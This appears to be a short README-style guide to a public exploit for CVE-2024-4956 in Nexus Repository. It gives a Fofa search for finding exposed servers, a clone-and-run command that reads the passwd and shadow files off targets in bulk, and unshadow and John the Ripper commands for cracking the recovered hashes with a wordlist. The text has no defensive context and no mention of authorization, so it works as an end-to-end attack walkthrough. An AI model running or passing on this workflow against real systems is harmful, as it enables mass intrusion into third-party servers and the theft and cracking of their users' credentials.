Getting Started

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

• Fofa Dork: header="Server: Nexus/3.53.0-01 (OSS)"

First, clone the repository:

git clone https://github.com/verylazytech/CVE-2024-4956

Next chose your target and add it to list.txt file in this format:

• https://ip_address

Run the Exploit:

python3 CVE-2024-4956.py -l list.txt

The output is passwd and shadow files that found:

Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):

unshadow passwd shadow > unshadowed.txt 

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
